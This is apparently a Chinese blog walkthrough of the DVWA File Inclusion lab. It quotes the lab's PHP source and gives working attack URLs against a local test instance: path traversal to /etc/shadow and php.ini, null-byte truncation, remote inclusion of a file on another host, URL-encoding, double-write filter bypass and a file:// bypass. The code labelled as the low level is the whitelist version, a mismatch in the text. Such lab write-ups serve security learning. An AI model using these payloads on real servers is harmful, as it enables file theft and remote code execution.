DVWA--File Inclusion
0x01了解什么叫file inclusion
File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。
0x02low级别的
首先我们来观察一下源码
<?php // The page we wish to display $file = $_GET[ 'page' ]; // Only allow include.php or file{1..3}.php if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) { // This isn't the page we want! echo "ERROR: File not found!"; exit; } ?>
这里从源码我们可以得知 服务器端未对page参数进行任何过滤和检查
服务器期望用户的操作是点击下面的三个链接,服务器会包含相应的文件,并将结果返回。需要特别说明的是,服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。
我们来点击一下链接看一下是什么
正常的执行 ,然而我们的目的是让他不正常的执行从而获得我们想要的东西 page参数可以被我们定义
接下里我们利用服务器端未对page参数进行过滤从而构造url 执行我们的命令
因为不知道服务器端是什么类型的
1先尝试一下
http://127.0.0.1/dwva/vulnerabilities/fi/?page=etc/shadow
没有文件证明不是liunx操作系统的 同时还暴露了文件的绝对路径
这时候我们可以看一下php.ini里面的配置文件是否打开了远程文件包含的漏洞
http://127.0.0.1/dwva/vulnerabilities/fi/?page=C:\phpStudy1\PHPTutorial\WWW\dwva\php.ini
构造url 相对路径
http://127.0.0.1/dwva/vulnerabilities/fi/?page=..\..\..\..\..\..\..\..\..\phpStudy1\PHPTutorial\WWW\dwva\php.ini
读取成功 加这么多..\是为了保证到达服务器的C盘根目录,可以看到读取是成功的。
同时我们看到,配置文件中的Magic_quote_gpc选项为off。在php版本小于5.3.4的服务器中,当Magic_quote_gpc选项为off时,我们可以在文件名中使用%00进行截断,也就是说文件名中%00后的内容不会被识别,即下面两个url是完全等效的。
Ahttp://127.0.0.1/dwva/vulnerabilities/fi/?page=..\..\..\..\..\..\..\..\..\phpStudy1\PHPTutorial\WWW\dwva\php.ini%0012da5163.php
Bhttp://127.0.0.1/dwva/vulnerabilities/fi/?page=..\..\..\..\..\..\..\..\..\phpStudy1\PHPTutorial\WWW\dwva\php.ini
可惜的是由于本次实验环境的php版本为5.4.45,所以无法进行验证。
使用%00截断可以绕过某些过滤规则,例如要求page参数的后缀必须为php,这时链接A会读取失败,而链接B可以绕过规则成功读取。
说实话 小编挺难受的 2.00--4.00弄了两个小时才发现我的远程包含没配置好 我的天
那我们就讲讲思路吧 远程服务器上面 放一个你要执行的文件 然后构造url让服务器去访问
http://127.0.0.1/dwva/vulnerabilities/fi/?page=http://192.168.1.102/test.txt
让本地服务器把这个当成一个文件去包含他 然后成功执行
当然我们如果绝的那样太明显的话 我们可以进行编码
http://192.168.153.130/dvwa/vulnerabilities/fi/page=%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%35%2e%31%32%2f%70%68%70%69%6e%66%6f%2e%74%78%74
同样可以执行成功
0X03Medium
源代码 过滤了http://","https://../","..\""然后把这些替换为空
<php //Thepagewewishtodisplay $file=$_GET['page']; //Inputvalidation $file=str_replace(array("http://","https://"),"",$file); $file=str_replace(array("../","..\""),"",$file); >
我们可以双写绕过
可以看到,Medium级别的代码增加了str_replace函数,对page参数进行了一定的处理,将”http:// ”、”https://”、 ” ../”、”..\”替换为空字符,即删除。
漏洞利用
使用str_replace函数是极其不安全的,因为可以使用双写绕过替换规则。
例如page=hthttp://tp://127.0.0.1/phpinfo.txt时,str_replace函数会将http://删除,于是page=http://127.0.0.1/phpinfo.txt,成功执行远程命令。
同时,因为替换的只是“../”、“..\”,所以对采用绝对路径的方式包含文件是不会受到任何限制的。
1.本地文件包含 不影响
但是这里
http://192.168.153.130/dvwa/vulnerabilities/fi/page=%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%35%2e%31%32%2f%70%68%70%69%6e%66%6f%2e%74%78%74 经过编码后的url不能绕过替换规则,因为解码是在浏览器端完成的,发送过去的page参数依然是http://192.168.5.12/phpinfo.txt,因此读取失败。
0x04High
服务器端核心代码
<php //Thepagewewishtodisplay $file=$_GET['page']; //Inputvalidation if(!fnmatch("file*",$file)&&$file!="include.php"){ //Thisisn'tthepagewewant! echo"ERROR:Filenotfound!"; exit; } >
f(!fnmatch("file*",$file)&&$file!="include.php"),当文件既不是"include.php"也不是"file*"(文件名file开头)时才抛出错误,反之意思即,如果文件名符合其中一个条件既可以。page=file:///C:/xampp/htdocs/dvwa/php.ini 刚好满足"file*"(文件名file开头)
可以看到,High级别的代码使用了fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件。
漏洞利用
High级别的代码规定只能包含file开头的文件,看似安全,不幸的是我们依然可以利用file协议绕过防护策略。file协议其实我们并不陌生,当我们用浏览器打开一个本地文件时,用的就是file协议,如下图。
那我们利用这个特性进行绕过
至于执行任意命令,需要配合文件上传漏洞利用。首先需要上传一个内容为php的文件,然后再利用file协议去包含上传文件(需要知道上传文件的绝对路径),从而实现任意命令执行